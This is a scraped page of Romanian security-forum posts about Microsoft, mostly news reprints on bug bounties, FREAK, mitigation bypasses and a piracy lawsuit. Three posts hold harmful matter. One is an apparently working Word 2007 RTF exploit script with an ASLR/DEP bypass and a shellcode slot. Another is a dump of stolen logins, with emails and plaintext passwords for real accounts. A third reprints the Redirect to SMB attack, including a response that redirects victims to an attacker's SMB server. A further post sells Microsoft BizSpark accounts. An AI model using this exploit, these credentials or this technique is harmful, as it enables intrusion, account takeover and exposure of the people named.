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  2. Microsoft is pleased to announce the launch of a vulnerability bounty program for the latest technical preview versions of the Nano Server installation option of Windows Server 2016. The program begins 29th April 2016, and ends on 29th July 2016. For the duration of the program, individuals across the globe have the opportunity to submit vulnerabilities found in the technical preview versions of Nano Server. Qualified submissions are eligible for payment from a minimum of $500 USD to $15,000 USD, and bounties will be paid out at Microsoft’s discretion based on the quality and complexity of the vulnerability. Microsoft may pay more than $15,000 USD, depending on the entry quality and complexity. Pentru mai multe detalii, termeni si conditii si eligibilitate: https://technet.microsoft.com/en-us/library/mt489845.aspx
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  6. How Microsoft Can Spy On You And How To Stop It - Hackers Online Club (HOC) Edit: rog un moderator sa stearga, a mai fost postat recent, imi cer scuze pentru neatentie!
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  8. SPEAR - Redirect to SMB April 13, 2015 By Brian Wallace We’ve uncovered a new technique for stealing sensitive login credentials from any Windows PC, tablet or server, including ones running previews of the yet-to-be-released Windows 10 operating system. Software from at least 31 companies including Adobe, Apple, Box, Microsoft, Oracle and Symantec can be exploited using this vulnerability, which we have dubbed Redirect to SMB. Carnegie Mellon University CERT disclosed the vulnerability to the public today (#VU672268), following six weeks of working with vendors to help them mitigate the issue. Redirect to SMB is a way for attackers to steal valuable user credentials by hijacking communications with legitimate web servers via man-in-the-middle attacks, then sending them to malicious SMB (server message block) servers that force them to spit out the victim’s username, domain and hashed password. We are publishing a white paper that describes the issue in detail, and offers mitigation methods for both developers and computer users. For technical details, download the Redirect To SMB white paper. Original Attack The Redirect to SMB attack builds on a vulnerability discovered in 1997 by Aaron Spangler, who found that supplying URLs beginning with the word “file” (such as file://1.1.1.1/) to Internet Explorer would cause the operating system to attempt to authenticate with a SMB server at the IP address 1.1.1.1. It’s a serious issue because stolen credentials can be used to break into private accounts, steal data, take control of PCs and establish a beachhead for moving deeper into a targeted network. These “file” URLs could be provided as an image, iframe, or any other web resource resolved by the browser. We uncovered Redirect to SMB while hunting for ways to abuse a chat client feature that provides image previews. When a URL to an image was received, the client attempted to show a preview of the image. Inspired by Aaron’s research some 18 years ago, we promptly sent another user a URL starting with file:// which pointed to a malicious SMB server. Surely enough, the chat client tried to load the image, and the Windows user at the other end attempted to authenticate with our SMB server. RedirectToSMB-Diagram-1 While conducting previous research on network protocols, we had experimented with redirecting ordinary HTTP requests to web servers to identify new attacks. So we were curious to see what threats SMB posed when combined with redirects. We created an HTTP server in Python that answered every request with a simple HTTP 302 status code to redirect clients to a file:// URL, and using that we were able to confirm that an http:// URL could lead to an authentication attempt from the OS. GET / HTTP/1.1 Accept: text/html, application/xhtml+xml, */* Accept-Language: en-US User-Agent: Mozilla/5.0,( Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Endoding: gzip, deflate Host: 192.168.36.207 DNT: 1 Connection: Keep-Alive HTTP/1.1 302 Found Content-Type: text/html Location: file://192.168.36.207/mitmproxy-identifier Content-Length: 0 RedirectToSMB-Diagram-02 Increased Attack Surface We identified four commonly used Windows API functions that allow for redirection from HTTP/HTTPS to SMB. Early testing found that they are used by a wide range of software features such as updaters and usage reporting tools. This discovery opened up a wide range of new attack methods. When combined with a man-in-the-middle attack, an attacker can force authentication attempts with an SMB server using susceptible applications and services that transmit data over HTTP or HTTPS. RedirectToSMB-Diagram-03 Affected Applications We tested dozens of application in our lab, uncovering 31 vulnerable software packages, which we disclosed to CERT at Carnegie Mellon University on Feb. 27, 2015. They include: Widely Used Applications: Adobe Reader, Apple QuickTime and Apple Software Update (which handles the updating for iTunes) Microsoft Applications: Internet Explorer, Windows Media Player, Excel 2010, and even in Microsoft Baseline Security Analyzer Antivirus: Symantec’s Norton Security Scan, AVG Free, BitDefender Free, Comodo Antivirus Security Tools: .NET Reflector, Maltego CE Team Tools: Box Sync, TeamViewer Developer Tools: Github for Windows, PyCharm, IntelliJ IDEA, PHP Storm, JDK 8u31’s installer Impact Redirect to SMB is most likely to be used in targeted attacks by advanced actors because attackers must have control over some component of a victim’s network traffic. Malicious ads could also be crafted that would force authentication attempts from IE users while hiding malicious behavior from those displaying the advertising. Less sophisticated attackers could launch Redirect to SMB attacks on shared WiFi access points at locations such as coffee shops from any computer, including mobile devices. We successfully tested this attack on a home network using a Nexus 7 loaded with all required tools. Examples The following examples show different attacks that could be conducted. In order to effectively demonstrate attack scenarios, the conditions have been simplified. The following are the IP addresses of the computers in the examples: • 192.168.36.207 – The Attacker • 192.168.36.247 – The Victim • 192.168.36.128 – The Router/Internet Gateway The tools in the examples are as follows: • SMBTrap2 • SMBTrap-mitmproxy-inline.py • MITMProxy • Zarp Additional attack examples are discussed in the white paper. Attacking AVG via ARP Poisoning Attacking Microsoft Baseline Security Analyzer via modified DNS record Encrypted Credentials While the user credentials sent over SMB are commonly encrypted, the encryption method used was devised in 1998 and is weak by today’s standards. A stronger hashing algorithm being used on these credentials would decrease the impact of this issue, but not as much as disabling automatic authentication with untrusted SMB servers. With roughly $3,000 worth of GPUs, an attacker could crack any 8-character password consisting of letters (upper and lower case) as well as numbers in less than half a day. Mitigations Microsoft has yet to release a patch to fix the Redirect to SMB vulnerability. The simplest workaround is to block outbound traffic from TCP 139 and TCP 445 -- either at the endpoint firewall or at the network gateway’s firewall (assuming you are on a trusted network). The former will block all SMB communication, which may disable other features that depend on SMB. If the block is done at the network gateway’s firewall, SMB features will still work inside the network, but prevent authentication attempts with destinations outside the network. See the white paper for other mitigation steps. Microsoft did not resolve the issue reported by Aaron Spangler in 1997. We hope that our research will compel Microsoft to reconsider the vulnerabilities and disable authentication with untrusted SMB servers. That would block the attacks identified by Spangler as well as the new Redirect to SMB attack. NO-MERCY Me & i & My self -> lIKE mICROSOFT :) Source ; SPEAR - Redirect to SMB & yOU Can See this Post too ; 18-year-old Unpatched Vulnerability Affects All Versions of Microsoft Windows
  9. Microsoft files lawsuit against Verizon IP seeks damages for hundreds of suspicious Windows 7 activations from a Verizon IP address Verizon has incurred the wrath of Microsoft for allegedly activating hundreds of copies of Windows 7 illegally. In a lawsuit filed at a Washington court, the Seattle-based company has asked the court to let it serve a subpoena on Verizon to force the Internet provider to identify those behind a two-year scheme that supposedly logged hundreds of suspicious product activations from a Verizon IP address and is now seeking damages. In its 29 year history, Microsoft’s Windows operating systems have been pirated millions number of times. On some levels, it is a practice that Microsoft has accepted with regular consumers largely trying to keep away from the company’s aggression. However, the same cannot be said of those pirating the company’s products on a commercial scale. According to documents filed with a U.S. District Court in Seattle last week, Microsoft targets individuals behind a single IP address 74.111.202.30, which was the origin of the Windows 7 product activations. Microsoft will not be able to find who are responsible for this serious Windows pirating, unless Verizon provides the subscriber name or names for that address. Microsoft said “Microsoft seeks leave to serve a Rule 45 subpoena on Verizon Online to obtain subscriber information associated with the infringing IP address at the time of the alleged acts of infringement.” “As part of its cyberforensic methods, Microsoft analyzes product key activation data voluntarily provided by users when they activate Microsoft software, including the IP address from which a given product key is activated,” the lawsuit reads. Microsoft says that its forensic tools lets the company to examine billions of activations of Microsoft software and identify patterns “that make it more likely than not” that an IP address connected with activations is the one through which pirated software is being activated. Currently, the address is established with Verizon FIOS, the Internet provider’s broadband service. These activations have features that on facts and belief, indicate that Defendants are using the IP address to activate pirated software. In a complaint filed on April 28, Microsoft laid out its case, naming a series of “John Does”, as it had not been able to find the real names of the alleged culprits. Microsoft said “The infringing IP address has been used to activate hundreds of copies of Windows 7,” using stolen or illegal activation keys. Some of the keys had been stolen from its supply chain, others were keys appointed for OEMs but instead used by an unauthorized party, and still more were legit keys that were used more than it was allowed for. One of Microsoft’s primary anti-piracy technologies is Product activation and it depends on the unique 25-character code allocated to each copy of the operating system. Customers and OEMs activate Windows by connecting to Microsoft’s servers. “Based on the volume and pattern of their activation activity, on information and belief, defendants appear to consist of one or more commercial entities that subsequently distributed those systems to customers who, on information and belief, were unaware they were receiving pirated software,” the complaint read. Microsoft examined the incoming product activations from the single source, and deduced that the “activation patterns and characteristics … make it more likely than not that the IP address associated with the activations is an address through which pirated software is being activated.” Senior Paralegal at Microsoft in an affidavit asserted that the pirates had been operational for “at least the past two years.” Once Microsoft is able to identify the people responsible for the IP address, it plans to sue them for copyright and trademark infringement, deceptive practices, treble damages and attorney fees or, alternatively, statutory damages. Sursa: http://www.techworm.net/2015/05/microsoft-wants-verizon-to-hand-over-names-of-suspected-windows-pirates.html
  10. Compania americana face eforturi ca sa atraga cat mai multi clienti, pe care insa isi doreste sa ii tina in siguranta. Programatorii de la Microsoft lucreaza intens acum la Spartan, browserul pe care il vor avea persoanele care isi vor instala Windows 10. Cei care sunt parte din programul Windows Insider pot deja sa testeze softul atat pe PC, cat si pe telefoanele cu Windows. In timp ce userii care stiu programare si entuziastii se joaca cu softul si le transmit celor de la Microsoft parerile lor, compania a pregatit si un sistem de recompense. Hackerii sunt invitati sa incerce sa gaseasca moduri in care Spartan poate fi spart. Project Spartan Bug Bounty ofera pana la 15.000 de dolari celor care gasesc vulnerabilitati si anunta Microsoft. Hackerii au timp pana pe 22 iunie sa testeze limitele de securitate ale noului soft. Cel mai bine se vor plati vulnerabilitatile descoperite in modul "enhance protected" al Spartan. Microsoft si alte companii mari din tehnologie folosesc metoda recompenselor oferite hackerilor pentru a-si face softurile mai bune, si a descoperi probleme din timp. Un project manager la Spartan este specialistul Bogdan Brinza. Potrivit profilului sau de LinkedIn, el a inceput munca in cadrul companiei Microsoft in 2008, de la biroul din Moscova, pentru ca din 2011 sa se mute in SUA. El are ca limba materna limba rusa si a absolvit National University of Science and Technology "MISIS" (Moscow Institute of Steel and Alloys), si Higher School of Economics din Moscova. Potrivit informatiilor venite pe filiera AMD, Windows 10 ar urma sa se lanseze la sfarsitul lunii iulie. Sursa
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    Serial Number Microsoft Windows XP Professional 76487-340-1347292-22482 CUCKOO12-1 62.141.65.92 2015-04-08 04:06:55 Serial Number Microsoft Windows XP Professional 76487-340-1347292-22482 CUCKOO05-1 62.141.65.92 2015-04-08 03:30:33 Steam Username skrillex_971 - DBS--PC 92.85.192.148 2015-04-07 19:14:50 Serial Number Microsoft Windows 7 Ultimate 00426-292-0000007-85404 DBS--PC 92.85.192.148 2015-04-07 19:14:49 Yahoo ETS dancs_robert14 eJxjZGBguNAz9z6j6EXBniqGA/6Hpr9mBIoxzjvb6i082WG+o3vLHcubG4BCDEwggkEgDSTNwKAApF5Pqpz9pnVZxj0ZuWUn9m60/XAmMTXgGjf37+RO+5MdDQtB6vkaIFpB6lfM3DpPx/6U7U6mo9L80WwN675PtuHYsEosk2tp5Z2Xsv0BQDX+hk+DtWdP+tlp2Jetz3eJ3e9R/5y5uzymcB8QrghU/JG3dWJia5xh7tRT/ycqH1n0baLH5k8 DBS--PC 92.85.192.148 2015-04-07 19:14:49 89.40.105.202 dbs testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:49 89.40.105.202 dbs testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:48 89.40.105.202 dbs testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:48 89.40.105.202 dbs testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:48 89.40.105.202 vuser801 testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:48 Login - GameTracker.rs dBsRTCTF testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:48 https://client.toolz.ro/clientarea.php dancs_robert15@yahoo.com testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:47 https://www.facebook.com/login.php rabocskai_lorand_fcbarca@yahoo.com timeailoveyou DBS--PC 92.85.192.148 2015-04-07 19:14:47 Registracija - GameTracker.rs dancs_robert14@yahoo.com testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:47 http://hqh.ro/gamecp/ dbs 2NJ9yw6o4b DBS--PC 92.85.192.148 2015-04-07 19:14:47 http://www.mix.freakz.ro/forum/eula-accepted-register.html dancs_robert14@yahoo.com testa1997 DBS--PC 92.85.192.148 2015-04-07 19:14:47 https://login.skype.com/login dancs_robert14 adrenaline123 DBS--PC 92.85.192.148 2015-04-07 19:14:46 https://id.apple.com/IDMSEmailVetting/vetemail.html dancs_robert14@yahoo.com ADrenaline123 DBS--PC 92.85.192.148 2015-04-07 19:14:46 http://forum.b-zone.ro/index.php rt_ctf_server@yahoo.com adrenaline DBS--PC 92.85.192.148 2015-04-07 19:14:46 http://www.linuxclub.ro/ dBs- testa1997
  12. Samsung a anun?at azi c? î?i extinde parteneriatul cu Microsoft ?i c? inten?ioneaz? ca o parte din serviciile ?i aplica?iile semnate Microsoft s? fie preinstalate pe noile device-uri cu Android ale companiei. Concomitent, Samsung va colabora cu Microsoft pe partea de dezvoltare a serviciului de securitate KNOX pentru noul Microsoft Office 365. Un alt beneficiu, se refer? la faptul c? cei care de?in un model Samsung Galaxy S6 ori Samsung Galaxy S6 edge vor primi 100 GB de spa?iu de stocare în cloud, pe Microsoft OneDrive, gratuit, timp de doi ani. Iar cei care vor cump?ra un device Samsung prin canalele de vânzare business-to-business vor primi acces la trei versiuni de Office 365 – Business, Business Premium ?i Enterprise, la care se adaug? solu?ia de securitate KNOX. Colaborarea dintre cele dou? companii a f?cut un pas înainte cu prilejul târgului Mobile World Congress, când Samsung a anun?at c? noile smartphone-uri Samsung Galaxy S6 ?i Galaxy S6 edge vor include aplica?iile OneNote, OneDrive ?i Skype. Mai mult, compania a f?cut cunoscut c? în prima jum?tate a anului, programele Microsoft Word, Excel, PowerPoint, OneNote, OneDrive ?i Skype urmeaz? s? fie preinstalate pe o serie de tablete cu Android. Source
  13. De pe vremea lui XP se banuia ca Microsoft ar colectiona date importante de la utilizatori, insa unii il banuiau mai mult ca ar fi un fel de spyware decat sa trimita date gen ai licenta sau nu si ce erori ti-au aparut. Cu windows 7/8 paranoia a inceput sa creasca si mai mult,acum si mai multi ca inainte erau siguri de convingerile lor cum ca Microsoft i-ar spiona. Cu Windows 10 nimeni nu trebuie sa mai aiba dubii in privinta asta fiindca se pare ca totul este 100% SIGUR: Nu bag mana in foc dar cica Microsoft are de gand sa iti spioneze calculatorul asa, pe fata, fara macar sa se fofileze si el. Cititi aici: If you are a privacy advocate, you should be knowing that your Windows 10 TP version use will be closely monitored by Microsoft. Well, a technical preview version is always made to do so, monitoring every system it is on to gather useful information on how to improve itself. but there are side effects of it too. With new revelation coming every day on how tech companies are monitoring you and sharing those data with law agencies or ad networks, it may not be a wise decision to go for Windows 10 TP. For more information visit preview privacy statement from Microsoft which states, “When you acquire, install and use the Programme software and services, Microsoft collects information about your use of the software and services as well as about the devices and networks on which they operate. Examples of data we may collect include your name, email address, preferences and interests; location, browsing, search and file history; phone call and SMS data; device configuration and sensor data; voice, text and writing input; and application usage.” 5 Reasons Why You should not use Microsoft's Windows 10 Technical Preview Version Postase cineva tot aici o stire cum ca in programele de baza ale hardurilor de la WDC (nu sunt sigur daca WDC sau Seagate) a fost depistat un virus foarte bine ascuns, in special in zonele pe unde au avut americanii ceva treaba cu arabii. Un astfel de virus exista pe hard fara ca tu sa fi instalat windows-ul si fara sa-l vezi in windows si fie ca pui windows sau fie ca pui linux, virusul e tot acolo si isi face treaba. Chestii de spionaj, va dati seama. Acum, se pare ca americanii prin nenea Gates vor sa ne dea niste windows nitel infectat cu programe de spionaj, la toata lumea, pe toate continentele si indiferent ca ai windows xp, vista (cine dracu' mai are vista), 7 sau 8, sa primesti GRATIS upgrade la windows 10. Misto, nu ? Si tin minte ca tot americanii l-au bagat la racoare pe un moldovean de peste Prut ca a facut nu stiu ce program trojan (stirea o gasiti postata de cineva tot pe RST). Iar ei ca ne dau ce vor ei, ei sunt liberi sa faca ce vor. A, si asta nu e tot, urmeaza cireasa de pe tort: Windows 10 (pentru PC, telefon, tableta sau ce plm vrei tu) va fi cu abonament, adica platesti lunar sau anual si ai windows, nu platesti, adio windows. Pana la urma si chiar daca nu ar avea vreun program de spionaj inclus, totul tine de $$$. Te face sa il iei pentru primul an dupa care te pune sa platesti in fiecare an. Windows 10 upgrade Will be Free for Illegal and Pirated Copies
  14. # Title : Microsoft Office Word 2007 - RTF Object Confusion ASLR and DEP bypass # Date : 28/02/2015 # Author : R-73eN # Software : Microsoft Office Word 2007 # Tested : Windows 7 Starter import sys # Windows Message Box / all versions . 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content+="56006900650077004100000000000000000000000000000000000000000000000000000000000000" content+="0000000000000000000000000000000021433412080000006ab0822cbb0500004E087DEB01000600" content+="1C000000000000000000000000060001560A000001EFCDAB00000500985D65010700000008000080" content+="05000080000000000000000000000000000000001FDEECBD01000500901719000000080000004974" content+="6D736400000002000000010000000C000000436F626A640000008282000082820000000000000000" content+="000000000000" content+= 'cb818278'# Address=788281CB jmp esp | {PAGE_EXECUTE_READ} [msxml5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.20.1072.0 (C:\Program Files\Common Files\Microsoft Shared\OFFICE11\msxml5.dll) content+="9090909090909090" #nops content+= shellcode #junk content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" 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content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" content+="00000000000000000000000000000000000000000000000000000000000000000000000000000000" content+="00000000000000" content+="\n" content+="}" content+="}" content+="}" banner = "\n\n" banner +=" ___ __ ____ _ _ \n" banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n" banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n" banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n" banner +=" |___|_| |_|_| \___/ \____|\___|_| |_|[] /_/ \_\_____|\n\n" print banner if(len(sys.argv) < 2): print '\n Usage : exploit.py filename.rtf' else: filename = sys.argv[1] f=open(filename,"w") f.write(content) f.close() print '\n[ + ] File ' + sys.argv[1] + ' created [ + ]\n'
  15. Does downloading Windows updates from Microsoft's servers and waiting too long really annoy you? It might not be with the arrival of Windows 10. Microsoft seems to make a major change in Windows 10 to the way it delivers updates for the software. The leaked version of Windows 10 build 10036 (the current version is build 9926) allows you to grab OS updates from Microsoft as well as other computers, whether they're on your local network or on the Internet. Yeah, it's a Peer-to-Peer (P2P) technology Microsoft is going to use in order to deliver both app and operating system updates. Peer-to-Peer, or P2P Technology is usually associated with file sharing services like BitTorrent to download illicit copies of movies and albums, and of course, those endless Linux ISOs you've been downloading. However, Redmond is embracing the technology as an efficient means to deliver software updates to its users around the globe. Peer-to-Peer downloads will be optional in Windows 10. The new dialog box titled "Choose how you download updates" offers Windows users an option to "Download apps and OS updates from multiple sources to get them more quickly". Once turned ON, the option delivers you choices to Download apps and OS updates from Microsoft and PCs on my local network Download apps and OS updates from Microsoft, PCs on my local network, and PCs on the Internet Besides accelerating the upgrade process, P2P feature could save precious bandwidth if you have a multiple PCs in your house. Redmond's move is not at all surprising, as the software maker bought Pando Networks in 2013, which is the maker of a peer-to-peer file sharing technology, similar to BitTorrent. So far, the leaked screenshot is not confirmed by the company neither it released any official announcement, but you can expect the new release of an official Windows 10 preview shortly that will likely include the new changes. However, if Microsoft really includes P2P technology for updating its software, it will be an interesting option for enabling distributed updates, rather than updating through Windows Server Update Services. Home users might appreciate the faster downloads that will come with peer-to-peer downloads. Source
  16. Microsoft has blacklisted a phony SSL certificate that’s been making the rounds and is in the process of warning the general public that the certificate could be leveraged to stage man-in-the-middle attacks. In a security advisory published yesterday the company stressed that an improper certificate for the domain “live.fi” could also be used to spoof content or carry out phishing attacks, but stopped short saying it could issue other certificates, impersonate other domains, or sign code. The certificate, which corresponds to one of the company’s Live entities, was revoked by its issuer, certificate authority Comodo, and Microsoft has updated its Certificate Trust List (CTL) to reflect the instability. The company maintains an often in-flux Certificate Trust List as a running tally of trusted entities that are rooted to verifiable certificates. Microsoft blamed the botched certificate on a misconfigured privileged email account on the live.fi domain. It sounds like unauthorized third party was able to register an email account on the domain with a “privileged username,” and in turn used it to request a bogus certificate for live.fi. In a FAQ on its site, Comodo claims that all of its certificates must pass through Domain Control Validation (DCV) before they’re issued. It appears the aforementioned third party used an email (admin@, administrator@, postmaster@, etc.) to prove ownership of the domain and subsequently the certificate. Windows 8, 8.1, RT, RT 8.1, Server 2012 and Server 2012 R2 all contain an automatic updater that takes note of revoked certificates. The company warns that users who either opt not to run that automatic updater or run older setups, including Server 2003, should run the manual update KB2917500 to blacklist the certificate. It’s expected both Google Chrome and Mozilla Firefox will block the certificate over the next several days or so. In the very near future Firefox is expected to loop in a new feature, OneCRL, that will supersede the dated Online Certificate Status Protocol (OCSP) and improve upon the process in which the browser reviews and revokes certificates. Source
  17. Microsoft OneNote needs no introduction — it is feature-filled and highly coveted digital notetaking app by Microsoft that works on and syncs with all your devices: Windows, Mac, iPhone, iPad, Android, online (via any modern web browser), and Windows Phone. Previously, Microsoft OneNote was available for purchase as a standalone program. Then it was bundled with Microsoft Office. Later, OneNote was made a freemium app; some features available for free while others you had to pay for. Now, however, all features of Microsoft OneNote are available for free — forever, for everyone, and on all platforms. Get it now! Link: Free Microsoft OneNote (100% discount)
  18. Microsoft today issued an advisory warning Windows users that Secure Channel, or Schannel, the Windows implementation of SSL/TLS, is vulnerable to the FREAK attack. Disclosed this week, FREAK (CVE-2015-1637) is the latest big Internet bug. It affects a number of SSL clients, including OpenSSL, and enables attackers to force clients to downgrade to weakened ciphers that can be broken and then supposedly encrypted traffic can be sniffed via man-in-the-middle attacks. Microsoft warned that Schannel is not immune to FREAK exploits, though it said it has not received any reports of public attacks. Windows users can expect either a security bulletin released on a regularly scheduled Patch Tuesday update, or an out-of-band patch. Microsoft said that Windows servers are not impacted if in their default configuration, in which export ciphers such as the RSA cipher in question with FREAK are disabled. Microsoft suggested a few workarounds that include disabling RSA key exchange ciphers via the registry for Windows Server 2003 systems. For later versions of Windows, Microsoft said RSA key exchange ciphers may be disabled using Group Policy Object Editor. The export ciphers are a remnant of the crypto wars of the 1980s and 1990s; SSL clients will accept the weaker RSA keys without asking for them. The RSA keys in question are 512-bit and were approved by the U.S. government for overseas export and it was assumed that most servers no longer supported them. “The export-grade RSA ciphers are the remains of a 1980s-vintage effort to weaken cryptography so that intelligence agencies would be able to monitor. This was done badly. So badly, that while the policies were ultimately scrapped, they’re still hurting us today,” cryptographer Matthew Green of Johns Hopkins University wrote in a blog post explaining the vulnerability and its consequences. “The 512-bit export grade encryption was a compromise between dumb and dumber. In theory it was designed to ensure that the NSA would have the ability to ‘access’ communications, while allegedly providing crypto that was still ‘good enough’ for commercial use. Or if you prefer modern terms, think of it as the original ‘golden master key.'” Given today’s modern computing power, an attacker could crack the weaker keys in a matter of hours using processing power available from providers such as Amazon, for example. “What this means is that you can obtain that RSA key once, factor it, and break every session you can get your ‘man in the middle’ mitts on until the server goes down. And that’s the ballgame,” Green said. Source
  19. The vulnerabilities addressed in this month’s Patch Tuesday security bulletins from Microsoft have been a mashup of critical bugs affecting most supported versions of Windows and Internet Explorer that could pave the way for attackers to gain complete control of affected systems. Sounds like most months, for sure. But what sets this month apart is the regular stream of disclosures from researchers in the hours and days following patches from Microsoft. The latest surrounds MS15-010, a bulletin that patches six critical remote code execution, security bypass and privilege escalation bugs in the Windows kernel-mode driver. That bulletin includes a security feature bypass in CNG.sys, or the Cryptography Next Generation kernel-mode driver, disclosed by Google’s Project Zero research team. The vulnerability was out in the open for close to two weeks after Project Zero’s 90-day disclosure window expired. Details on a privilege escalation vulnerability, CVE-2015-0057, in the Windows kernel GUI component, the Win32k.sys module, yesterday were shared by researchers at enSilo. According to CTO Udi Gavo, all versions of Windows are affected, including the Windows 10 Technical Preview, and attackers could exploit the bug and gain control over the compromised computer. “A threat actor that gains access to a Windows machine (say, through a phishing campaign) can exploit this vulnerability to bypass all Windows security measures, defeating mitigation measures such as sandboxing, kernel segregation and memory randomization,” he said in a published report. The vulnerability can be exploited by modifying one bit in Windows, the report said. The exploit works, enSilo said, despite the presence of numerous kernel-level protections instituted by Microsoft, in particular in Windows 8.1. Kernel DEP, ASLR, SMEP and others are mitigations that prevent code execution within certain kernel regions, but some researchers have already developed bypasses. EnSilo provides technical details on the vulnerability in its report, in particular an examination of the xxxEnableWndSBArrows function which enables and disables scrollbars in Windows. “Through a single call, this function can alter the state of both scrollbars,” the report said. “It is precisely within this function wherein the vulnerability lies.” On Tuesday, consultancy JAS Global Advisors released details on critical vulnerabilities in Group Policy that expose Windows users to man-in-the-middle attacks, remote code execution attacks, and security bypasses. The Jasbug, as it was nicknamed, was reported in January 2014 but since it was a design issue rather than one related to an implementation, it required some re-engineering by Microsoft. “The vulnerability is remotely exploitable and may grant the attacker administrator level privileges on the target machine/device,” JAS said. “Roaming machines – domain-joined Windows devices that connect to corporate networks via the public Internet (e.g. from hotels and coffee shops) – are at heightened risk.” JAS said that computers connecting over a virtual private network should be immune to compromise. Further mitigating the risk, JAS said, is that a number of scenarios have to be in place for exploits to work. “It certainly doesn’t work universally and it depends on some funky misconfigurations and happenstance. But it works frequently enough to be of concern,” JAS said in its advisory. Microsoft also addressed reports with a silent feature update in Visual Studio (KB3001652) that was causing Windows machines to lock up. The update has since been re-released after it was removed from Windows Update. Sursa
  20. When Microsoft introduced use-after-free mitigations into Internet Explorer last summer, certain classes of exploits were closed off, and researchers and black hats were left to chase new ways to corrupt memory inside the browser. A team of experts from HP’s Zero Day Initiative were among those who noticed that once-reliable exploits were no longer behaving as expected, and traced it back to a number of mitigations silently introduced in July into IE. By October, researchers Brian Gorenc, AbdulAziz Hariri, and Simon Zuckerbraun had developed attacks against two mitigations, Isolated Heap and MemoryProtection, and today announced they’d been awarded $125,000 from the Microsoft Mitigation Bypass Bounty and Blue Hat Bonus for Defense. A chunk of that total, $25,000, was awarded separately for a submission suggesting a defense against the technique they submitted. The researchers said they will donate the full bounty to Texas A&M University, Concordia University, and Khan Academy, three institutions that sponsor strong STEM (science, technology, engineering and mathematics) programs. “We were very excited when we heard the results from Microsoft,” Gorenc, ZDI lead researcher, said. “We put a lot of time and effort into that research. We’re glad to hear Microsoft got good data out of it.” Gorenc said Microsoft has not patched the issues identified in the HP ZDI research, and as a result, Gorenc said ZDI will not disclose details yet. He did tell Threatpost that part of the attack includes using MemoryProtect as an oracle to bypass Address Space Layout Randomization (ASLR). “We use one mitigation to defeat another,” he said. “Stuff like this has been done in the past, but what’s interesting about this one is that these mitigations were designed to make use-after-free harder on the attacker, but what we’ve done is made it defeat another mitigation that IE relies on; it weakens it in that perspective. It was interesting to see one used against another.” Use-after-free vulnerabilities have overtaken buffer overflows as the hot new memory-corruption vulnerability. They happen when memory allocated to a pointer has been freed, allowing attackers to use that pointer against another area in memory where malicious code has been inserted and will be executed. Microsoft, for its part, has invested money and time into building mitigations against memory-related attacks, not only with the inclusion of mitigations in Internet Explorer, but also through its Enhanced Mitigation Experience Toolkit (EMET). For the most part, bypasses of and attacks against mitigations have largely been confined to researchers and academics, but some high-profile targeted attacks that have been outed do take into consideration the presence of these mitigations. Operation Snowman, for example, an APT operation against military and government targets, scanned for the presence of EMET and would not execute if the tool was detected. Internet Explorer has been plagued by memory corruption bugs forever it seems, with Microsoft releasing almost monthly cumulative updates for the browser which is constantly being used in targeted attacks and has been easy pickings for hackers. “The attack surface is valuable and has to exist,” Gorenc said of IE and use-after-free bugs. “It’s an attack surface where with slight manipulations, you can gain code execution on the browser.” ZDI, Gorenc said, has spent the majority of its money on the use-after-free attack surface; ZDI is a vulnerability program that rewards researchers who disclose vulnerabilities through its process. The bugs are shared with HP customers first and then with the affected vendors. ZDI said it has spent $12 million dollars over the past nine years buying vulnerabilities. Gorenc’s colleagues Zuckerbraun and Hariri were external contributors before joining ZDI full time; both spent a lot of time on IE and use-after-free submissions, HP said. For these attacks, Zuckerbraun reverse engineered MemProtect, studying how it stymied use-after-free vulnerabilities. Hariri focused on bypassing Isolated Heap. Together with Gorenc’s work on sandbox bypasses, the researchers soon had enough research to share with Microsoft. The reward, meanwhile, will be donated to the three education institutions, each of which have personal meaning to the respective researchers and their focus on STEM. “HP Security Research donates to organizations that have a strong STEM emphasis. We decided we would select organizations and charities to receive the money we won that support that emphasis,” Gorenc said. “We look at it as a way to give back. Hopefully our research has made our environment better, hardened IE, and helps fund a strong engineering organization.” Source
  21. Dupa cum spune si titlul, vand conturi de Microsoft BizSpark ( desgiur, aprobate ) la un pret foarte bun si negociabil. Ma puteti contacta fie prin PM, dar de preferat la adresa de skype: Alin.Ionel18
  22. For a long time, Microsoft’s monthly Patch Tuesday security bulletins have periodically addressed use-after free vulnerabilities, the latest class of memory corruption bugs that have already found their way into a number of targeted attacks. Microsoft has implemented mitigations to address memory related vulnerabilities that afford successful attackers control over the underlying computer. Most notably, Microsoft has stood behind its Enhanced Mitigation Experience Toolkit, or EMET, suggesting it on several occasions as a temporary mitigation for a vulnerability until the company could push out a patch to users. Most recently, Microsoft brought new memory defenses to the browser, loading Internet Explorer with two new protections called Heap Isolation and Delayed Free, both of which take steps inside IE to frustrate and deny the execution of malicious code. Researchers have had a growing interest in bypassing EMET and memory protections for some time, with some successful bypasses disclosed and ultimately addressed by Microsoft. And until the Operation Snowman attacks, they were exclusively the realm of white hats—as far as we know publicly. As with the EMET protections, Heap Isolation and Delay Free were bound to attract some attention and last week at ShmooCon, a hacker conference in Washington, D.C., Bromium Labs principal security researcher Jared DeMott successfully demonstrated a bypass for both. DeMott’s bypass relies on what he termed a weakness in Microsoft’s approach with the new protections. With Heap Isolation, a new heap is created housing sensitive internal IE objects, while objects such as JavaScript likely to be targeted remain in the default heap, he said. “Thus if a UaF condition appears, the attacker should not be able to replace the memory of the dangling pointer with malicious data,” he wrote in a report published this week. This separation of good and bad data, however, isn’t realistic given the complexity of code and objects. Delayed Free then kicks in by delaying the release of an object to memory until there are no references to the object on 